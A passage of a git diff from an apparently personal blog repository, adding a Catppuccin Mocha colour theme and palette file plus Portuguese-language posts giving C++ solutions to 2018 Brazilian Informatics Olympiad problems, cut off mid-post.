<key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>heading.5.markdown punctuation.definition.heading.markdown, heading.5.markdown, markup.heading.atx.5.mdx, markup.heading.atx.5.mdx punctuation.definition.heading.mdx, markup.heading.heading-4.asciidoc</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>heading.6.markdown punctuation.definition.heading.markdown, heading.6.markdown, markup.heading.atx.6.mdx, markup.heading.atx.6.mdx punctuation.definition.heading.mdx, markup.heading.heading-5.asciidoc</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.bold</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + <key>fontStyle</key> + <string>bold</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.italic</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.strikethrough</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6adc8</string> + <key>fontStyle</key> + <string>strikethrough</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown auto links</string> + <key>scope</key> + <string>punctuation.definition.link, markup.underline.link</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown links</string> + <key>scope</key> + <string>text.html.markdown punctuation.definition.link.title, string.other.link.title.markdown, markup.link, punctuation.definition.constant.markdown, constant.other.reference.link.markdown, markup.substitution.attribute-reference</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#b4befe</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown code spans</string> + <key>scope</key> + <string>punctuation.definition.raw.markdown, markup.inline.raw.string.markdown, markup.raw.block.markdown</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown triple backtick language identifier</string> + <key>scope</key> + <string>fenced_code.block.language</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown triple backticks</string> + <key>scope</key> + <string>markup.fenced_code.block punctuation.definition, markup.raw support.asciidoc</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#9399b2</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown quotes</string> + <key>scope</key> + <string>markup.quote, punctuation.definition.quote.begin</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown separators</string> + <key>scope</key> + <string>meta.separator.markdown</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markdown list bullets</string> + <key>scope</key> + <string>punctuation.definition.list.begin.markdown, markup.list.bullet</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Nix attribute names</string> + <key>scope</key> + <string>entity.other.attribute-name.multipart.nix, entity.other.attribute-name.single.nix</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Nix parameter names</string> + <key>scope</key> + <string>variable.parameter.name.nix</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Nix interpolated parameter names</string> + <key>scope</key> + <string>meta.embedded variable.parameter.name.nix</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#b4befe</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Nix paths</string> + <key>scope</key> + <string>string.unquoted.path.nix</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>PHP Attributes</string> + <key>scope</key> + <string>support.attribute.builtin, meta.attribute.php</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>PHP Parameters (needed for the leading dollar sign)</string> + <key>scope</key> + <string>meta.function.parameters.php punctuation.definition.variable.php</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>PHP Constants (null, __FILE__, etc.)</string> + <key>scope</key> + <string>constant.language.php</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>PHP functions</string> + <key>scope</key> + <string>text.html.php support.function</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>PHPdoc keywords</string> + <key>scope</key> + <string>keyword.other.phpdoc.php</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Python argument functions reset to text, otherwise they inherit blue from function-call</string> + <key>scope</key> + <string>support.variable.magic.python, meta.function-call.arguments.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Python double underscore functions</string> + <key>scope</key> + <string>support.function.magic.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Python `self` keyword</string> + <key>scope</key> + <string>variable.parameter.function.language.special.self.python, variable.language.special.self.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python keyword flow/logical (for ... in)</string> + <key>scope</key> + <string>keyword.control.flow.python, keyword.operator.logical.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python storage type</string> + <key>scope</key> + <string>storage.type.function.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python function support</string> + <key>scope</key> + <string>support.token.decorator.python, meta.function.decorator.identifier.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python function calls</string> + <key>scope</key> + <string>meta.function-call.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python function decorators</string> + <key>scope</key> + <string>entity.name.function.decorator.python, punctuation.definition.decorator.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python placeholder reset to normal string</string> + <key>scope</key> + <string>constant.character.format.placeholder.other.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Python exception & builtins such as exit()</string> + <key>scope</key> + <string>support.type.exception.python, support.function.builtin.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>entity.name.type</string> + <key>scope</key> + <string>support.type.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>python constants (True/False)</string> + <key>scope</key> + <string>constant.language.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Arguments accessed later in the function body</string> + <key>scope</key> + <string>meta.indexed-name.python, meta.item-access.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Python f-strings/binary/unicode storage types</string> + <key>scope</key> + <string>storage.type.string.python</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Python type hints</string> + <key>scope</key> + <string>meta.function.parameters.python</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex string begin/end in JS/TS</string> + <key>scope</key> + <string>string.regexp punctuation.definition.string.begin, string.regexp punctuation.definition.string.end</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex anchors (^, $)</string> + <key>scope</key> + <string>keyword.control.anchor.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex regular string match</string> + <key>scope</key> + <string>string.regexp.ts</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex group parenthesis & backreference (\1, \2, \3, ...)</string> + <key>scope</key> + <string>punctuation.definition.group.regexp, keyword.other.back-reference.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex character class []</string> + <key>scope</key> + <string>punctuation.definition.character-class.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex character classes (\d, \w, \s)</string> + <key>scope</key> + <string>constant.other.character-class.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex range</string> + <key>scope</key> + <string>constant.other.character-class.range.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5e0dc</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex quantifier</string> + <key>scope</key> + <string>keyword.operator.quantifier.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex constant/numeric</string> + <key>scope</key> + <string>constant.character.numeric.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Regex lookaheads, negative lookaheads, lookbehinds, negative lookbehinds</string> + <key>scope</key> + <string>punctuation.definition.group.no-capture.regexp, meta.assertion.look-ahead.regexp, meta.assertion.negative-look-ahead.regexp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust attribute</string> + <key>scope</key> + <string>meta.annotation.rust, meta.annotation.rust punctuation, meta.attribute.rust, punctuation.definition.attribute.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust attribute strings</string> + <key>scope</key> + <string>meta.attribute.rust string.quoted.double.rust, meta.attribute.rust string.quoted.single.char.rust</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust keyword</string> + <key>scope</key> + <string>entity.name.function.macro.rules.rust, storage.type.module.rust, storage.modifier.rust, storage.type.struct.rust, storage.type.enum.rust, storage.type.trait.rust, storage.type.union.rust, storage.type.impl.rust, storage.type.rust, storage.type.function.rust, storage.type.type.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust u/i32, u/i64, etc.</string> + <key>scope</key> + <string>entity.name.type.numeric.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust generic</string> + <key>scope</key> + <string>meta.generic.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust impl</string> + <key>scope</key> + <string>entity.name.impl.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust module</string> + <key>scope</key> + <string>entity.name.module.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust trait</string> + <key>scope</key> + <string>entity.name.trait.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust struct</string> + <key>scope</key> + <string>storage.type.source.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust union</string> + <key>scope</key> + <string>entity.name.union.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust enum member</string> + <key>scope</key> + <string>meta.enum.rust storage.type.source.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust macro</string> + <key>scope</key> + <string>support.macro.rust, meta.macro.rust support.function.rust, entity.name.function.macro.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust lifetime</string> + <key>scope</key> + <string>storage.modifier.lifetime.rust, entity.name.type.lifetime</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust string formatting</string> + <key>scope</key> + <string>string.quoted.double.rust constant.other.placeholder.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust return type generic</string> + <key>scope</key> + <string>meta.function.return-type.rust meta.generic.rust storage.type.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust functions</string> + <key>scope</key> + <string>meta.function.call.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust angle brackets</string> + <key>scope</key> + <string>punctuation.brackets.angle.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust constants</string> + <key>scope</key> + <string>constant.other.caps.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust function parameters</string> + <key>scope</key> + <string>meta.function.definition.rust variable.other.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust closure variables</string> + <key>scope</key> + <string>meta.function.call.rust variable.other.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust self</string> + <key>scope</key> + <string>variable.language.self.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Rust metavariable names</string> + <key>scope</key> + <string>variable.other.metavariable.name.rust, meta.macro.metavariable.rust keyword.operator.macro.dollar.rust</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Shell shebang</string> + <key>scope</key> + <string>comment.line.shebang, comment.line.shebang punctuation.definition.comment, comment.line.shebang, punctuation.definition.comment.shebang.shell, meta.shebang.shell</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Shell shebang command</string> + <key>scope</key> + <string>comment.line.shebang constant.language</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Shell interpolated command</string> + <key>scope</key> + <string>meta.function-call.arguments.shell punctuation.definition.variable.shell, meta.function-call.arguments.shell punctuation.section.interpolation, meta.function-call.arguments.shell punctuation.definition.variable.shell, meta.function-call.arguments.shell punctuation.section.interpolation</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Shell interpolated command variable</string> + <key>scope</key> + <string>meta.string meta.interpolation.parameter.shell variable.other.readwrite</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>source.shell punctuation.section.interpolation, punctuation.definition.evaluation.backticks.shell</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Shell EOF</string> + <key>scope</key> + <string>entity.name.tag.heredoc.shell</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Shell quoted variable</string> + <key>scope</key> + <string>string.quoted.double.shell variable.other.normal.shell</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.heading.synopsis.man, markup.heading.title.man, markup.heading.other.man, markup.heading.env.man</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.heading.commands.man</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.heading.env.man</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.heading.1.markdown</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.heading.2.markdown</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>markup.heading.markdown</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + </array> + </dict> +</plist> diff --git a/trees/blog/mocha.typ b/trees/blog/mocha.typ new file mode 100644 index 0000000..7a76c92 --- /dev/null +++ b/trees/blog/mocha.typ @@ -0,0 +1,202 @@ + +/// The Mocha flavor and palette. +/// +/// ==== Example +/// ```example +/// #let flavor = flavors.mocha +/// Selected flavor: #flavor.name #flavor.emoji +/// ``` +/// +/// -> flavor +#let mocha = ( + name: "Mocha", + identifier: "mocha", + emoji: "🌿", + order: 3, + dark: true, + light: false, + colors: ( + rosewater: ( + name: "Rosewater", + order: 0, + hex: "#f5e0dc", + rgb: rgb(245, 224, 220), + accent: true, + ), + flamingo: ( + name: "Flamingo", + order: 1, + hex: "#f2cdcd", + rgb: rgb(242, 205, 205), + accent: true, + ), + pink: ( + name: "Pink", + order: 2, + hex: "#f5c2e7", + rgb: rgb(245, 194, 231), + accent: true, + ), + mauve: ( + name: "Mauve", + order: 3, + hex: "#cba6f7", + rgb: rgb(203, 166, 247), + accent: true, + ), + red: ( + name: "Red", + order: 4, + hex: "#f38ba8", + rgb: rgb(243, 139, 168), + accent: true, + ), + maroon: ( + name: "Maroon", + order: 5, + hex: "#eba0ac", + rgb: rgb(235, 160, 172), + accent: true, + ), + peach: ( + name: "Peach", + order: 6, + hex: "#fab387", + rgb: rgb(250, 179, 135), + accent: true, + ), + yellow: ( + name: "Yellow", + order: 7, + hex: "#f9e2af", + rgb: rgb(249, 226, 175), + accent: true, + ), + green: ( + name: "Green", + order: 8, + hex: "#a6e3a1", + rgb: rgb(166, 227, 161), + accent: true, + ), + teal: ( + name: "Teal", + order: 9, + hex: "#94e2d5", + rgb: rgb(148, 226, 213), + accent: true, + ), + sky: ( + name: "Sky", + order: 10, + hex: "#89dceb", + rgb: rgb(137, 220, 235), + accent: true, + ), + sapphire: ( + name: "Sapphire", + order: 11, + hex: "#74c7ec", + rgb: rgb(116, 199, 236), + accent: true, + ), + blue: ( + name: "Blue", + order: 12, + hex: "#89b4fa", + rgb: rgb(137, 180, 250), + accent: true, + ), + lavender: ( + name: "Lavender", + order: 13, + hex: "#b4befe", + rgb: rgb(180, 190, 254), + accent: true, + ), + text: ( + name: "Text", + order: 14, + hex: "#cdd6f4", + rgb: rgb(205, 214, 244), + accent: false, + ), + subtext1: ( + name: "Subtext 1", + order: 15, + hex: "#bac2de", + rgb: rgb(186, 194, 222), + accent: false, + ), + subtext0: ( + name: "Subtext 0", + order: 16, + hex: "#a6adc8", + rgb: rgb(166, 173, 200), + accent: false, + ), + overlay2: ( + name: "Overlay 2", + order: 17, + hex: "#9399b2", + rgb: rgb(147, 153, 178), + accent: false, + ), + overlay1: ( + name: "Overlay 1", + order: 18, + hex: "#7f849c", + rgb: rgb(127, 132, 156), + accent: false, + ), + overlay0: ( + name: "Overlay 0", + order: 19, + hex: "#6c7086", + rgb: rgb(108, 112, 134), + accent: false, + ), + surface2: ( + name: "Surface 2", + order: 20, + hex: "#585b70", + rgb: rgb(88, 91, 112), + accent: false, + ), + surface1: ( + name: "Surface 1", + order: 21, + hex: "#45475a", + rgb: rgb(69, 71, 90), + accent: false, + ), + surface0: ( + name: "Surface 0", + order: 22, + hex: "#313244", + rgb: rgb(49, 50, 68), + accent: false, + ), + base: ( + name: "Base", + order: 23, + hex: "#1e1e2e", + rgb: rgb(30, 30, 46), + accent: false, + ), + mantle: ( + name: "Mantle", + order: 24, + hex: "#181825", + rgb: rgb(24, 24, 37), + accent: false, + ), + crust: ( + name: "Crust", + order: 25, + hex: "#11111b", + rgb: rgb(17, 17, 27), + accent: false, + ), + ), +) diff --git a/trees/blog/obi2018-baldes.typ b/trees/blog/obi2018-baldes.typ new file mode 100644 index 0000000..ecb9840 --- /dev/null +++ b/trees/blog/obi2018-baldes.typ @@ -0,0 +1,140 @@ +#import "html_elements.typ": post +#import "./lib.typ": flex, svg_inline + +#show: post + + +- #link( + "https://olimpiada.ic.unicamp.br/pratique/ps/2018/f3/baldes/", + )[Enunciado] + +Na minha primeira leitura, vi que esta é uma questão clássica de segtree. Um vetor de tamanho #svg_inline[$10^5$] e #svg_inline[$10^5$] queries dentro desse intervalo. Iremos fazer uma segtree para o mínimo num intervalo e outra para o máximo, sendo a resposta da query em um intervalo o max-min. Para simplificar isso, podemos guardar as duas árvores apenas em um vetor de pairs. + + +Porém após implementar a primeira solução e não funcionar fiz uma segunda leitura e percebi que o max e o min não podem estar no mesmo balde (na mesma posição no vetor). Então troquei o pair por uma struct, para guardar de qual balde o max e o min vieram. Quando o min e o max estiverem no mesmo balde temos uma certeza, um dos dois faz parte da solução. Nesse caso podemos testar, o query sem o min, mas com o max e o query sem o max, mas com o min. + +```cpp +#include <bits/stdc++.h> +typedef struct ii { + int first; + int second; + int i; + int j; +} ii; +using namespace std; + +const int MAX = 5e5+50; +const int inf = 0x3f3f3f3f; + +ii tree[MAX]={}; +int arr[MAX]; + +ii merge(ii a, ii b) { + + ii c = {min(a.first,b.first),max(a.second,b.second),-1,-2}; + + if(c.first==a.first) c.i=a.i; + else c.i=b.i; + + if(c.second==a.second) c.j=a.j; + else c.j=b.j; + + return c; +} + +void build(int pos, int i, int j) { + if(i==j) { + tree[pos]={arr[i],arr[i],i,i}; + if(arr[i]==0) { + tree[pos]={inf,-inf,-1,-2}; + } + } else { + build(2*pos,i,(i+j)/2); + build(2*pos+1,(i+j)/2+1,j); + + tree[pos]=merge(tree[2*pos],tree[2*pos+1]); + } +} + +void update(int pos, int i, int j, int target, ii val) { + if(i==j) { + if(tree[pos].first!=0&&tree[pos].second!=0) { + tree[pos]=merge(tree[pos],val); + } else { + tree[pos]=val; + } + } else { + if(target <= (i+j)/2) update(2*pos,i,(i+j)/2,target,val); + else update(2*pos+1,(i+j)/2+1,j,target,val); + + tree[pos]=merge(tree[2*pos],tree[2*pos+1]); + } +} + +void force_update(int pos, int i, int j, int target, ii val) { + if(i==j) { + tree[pos]=val; + } else { + if(target <= (i+j)/2) force_update(2*pos,i,(i+j)/2,target,val); + else force_update(2*pos+1,(i+j)/2+1,j,target,val); + tree[pos]=merge(tree[2*pos],tree[2*pos+1]); + } +} + +ii query(int pos, int i, int j, int a, int b) { + if(i>b||j<a) { + return {inf,-inf, -1, -2}; + } else if(i>=a&&j<=b) { + return tree[pos]; + } else { + return merge(query(2*pos,i,(i+j)/2,a,b),query(2*pos+1,(i+j)/2+1,j,a,b)); + } +} + +int main() { + + int n,m; + scanf("%d%d",&n,&m); + + for(int i=0;i<n;i++) scanf("%d",&arr[i]); + + build(1,0,n); + + for(int i=0;i<m;i++) { + int op; + scanf("%d",&op); + + if(op==1) { + int w,p; + scanf("%d%d",&w,&p); + --p; + update(1,0,n,p,{w,w,p,p}); + } else { + int a,b; + scanf("%d%d",&a,&b); + --a,--b; + ii p = query(1,0,n,a,b); + + if(p.i==p.j) { + ii tmp = p; + int ans=0; + force_update(1,0,n,p.i,{p.first,-inf,p.i,p.j}); + ii A = query(1,0,n,a,b); + force_update(1,0,n,p.i,{inf,p.second,p.i,p.j}); + ii B = query(1,0,n,a,b); + + ans=max(A.second-A.first,B.second-B.first); + printf("%d\n",ans); + + update(1,0,n,p.i,p); + } else { + printf("%d\n",p.second-p.first); + } + } + + } + + return 0; +} +``` + diff --git a/trees/blog/obi2018-bolas.typ b/trees/blog/obi2018-bolas.typ new file mode 100644 index 0000000..577b1ce --- /dev/null +++ b/trees/blog/obi2018-bolas.typ @@ -0,0 +1,47 @@ +#import "html_elements.typ": post +#show: post + +#import "./lib.typ": flex, svg_inline + + +- #link("https://olimpiada.ic.unicamp.br/pratique/ps/2018/f3/bolas/")[Enunciado]. + +Como o tamano do vetor é #svg_inline[$8$] e temos sempre #svg_inline[$8$] números para escolher, existem #svg_inline[$8!$] permutações possíveis. Como #svg_inline[$8!$] é pequeno, podemos fazer uma solução de busca completa. Existem de varias soluções possíveis como com _next_permutation_. Segue uma solução de backtracking: + +```cpp + #include <bits/stdc++.h> + using namespace std; + + int vet[9]={}; + + int solve(int pos, int n) { + if(pos==8) return 1; + + int ans=0; + + for(int i=0;i<=9;i++) { + if(n != i && vet[i]) { + vet[i]--; + ans|=solve(pos+1,i); + vet[i]++; + } + } + + return ans; + } + + int main() { + + for(int i=0;i<8;i++) { + int aux; + scanf("%d",&aux); + vet[aux]++; + } + + int ans=solve(0,-1); + puts(ans?"S":"N"); + + return 0; + } +``` + diff --git a/trees/blog/obi2018-cinco.typ b/trees/blog/obi2018-cinco.typ new file mode 100644 index 0000000..0b9115e --- /dev/null +++ b/trees/blog/obi2018-cinco.typ @@ -0,0 +1,46 @@ +#import "html_elements.typ": post +#import "./lib.typ": flex, svg_inline + +#show: post + +- #link("https://olimpiada.ic.unicamp.br/pratique/ps/2018/f3/cinco/")[Enunciado] + +Podemos criar um algoritmo guloso simples, trocar sempre (em ordem): + +1. O dígito mais significativo que for trocado por um número maior do que ele +2. (na falha do primeiro) O dígito menos significativo que for trocado por um número menor do que ele + + ```cpp + #include <bits/stdc++.h> + using namespace std; + + int main() { + + int n; + scanf("%d",&n); + int arr[n]; + + for(int i=0;i<n;i++) scanf("%d",&arr[i]); + + for(int i=0;i<n;i++) { + if(arr[i]<arr[n-1]&&(arr[i]==0||arr[i]==5)) { + swap(arr[i],arr[n-1]); + for(int j=0;j<n;j++) printf("%d%c",arr[j],j==n-1?'\n':' '); + exit(0); + } + } + + for(int i=n-1;i>=0;i--) { + if(arr[i]==0||arr[i]==5) { + swap(arr[i],arr[n-1]); + for(int j=0;j<n;j++) printf("%d%c",arr[j],j==n-1?'\n':' '); + exit(0); + } + } + + puts("-1"); + + return 0; + } + ``` + diff --git a/trees/blog/obi2018-maximin.typ b/trees/blog/obi2018-maximin.typ new file mode 100644 index 0000000..ac24be8 --- /dev/null +++ b/trees/blog/obi2018-maximin.typ @@ -0,0 +1,38 @@ +#import "html_elements.typ": post +#import "./lib.typ": flex, svg_inline + +#show: post + +- #link( + "https://olimpiada.ic.unicamp.br/pratique/ps/2018/f3/maximin/", + )[Enunciado] + +Como o tamanho máximo do vetor é #svg_inline[$10^5$] podemos ordená-lo. Fazendo isso podemos ver que o número que estamos procurando está +entre dois números vizinhos no vetor ou está em alguma das extremidades. + +```cpp +#include <bits/stdc++.h> +using namespace std; + +int main() { + int n,r,l; + scanf("%d%d%d",&n,&r,&l); + int arr[n]; + for(int i=0;i<n;i++) scanf("%d",&arr[i]); + + sort(arr,arr+n); + + int dif=0; + for(int i=1;i<n;i++) { + int mid=(arr[i]+arr[i-1])/2; + if(mid>=r&&mid<=l) dif=max(dif,min(abs(mid-arr[i]),abs(mid-arr[i-1]))); + } + + if(l>arr[n-1]) dif=max(dif, l-arr[n-1]); + if(r<arr[0]) dif=max(dif,arr[0]-r); + + printf("%d\n",dif); + + return 0; +} +``` diff --git a/trees/blog/obi2018-muro.typ b/trees/blog/obi2018-muro.typ new file mode 100644 index 0000000..acf3693 --- /dev/null +++ b/trees/blog/obi2018-muro.typ @@ -0,0 +1,57 @@ +#import "html_elements.typ": post +#import "./lib.typ": flex, svg_inline +#show: post + + +- #link("https://olimpiada.ic.unicamp.br/pratique/ps/2018/f3/muro/")[Enunciado] + +Podemos criar uma função recursiva #svg_inline[f]: + +#html.frame()[ + #text(fill: white)[ + $ + & f(0) = 1 \ + & f(n) = f(n-1) + 4f(n-2) + 2f(n-3) "para" n > 0 + $ + ] +] + +Como existem 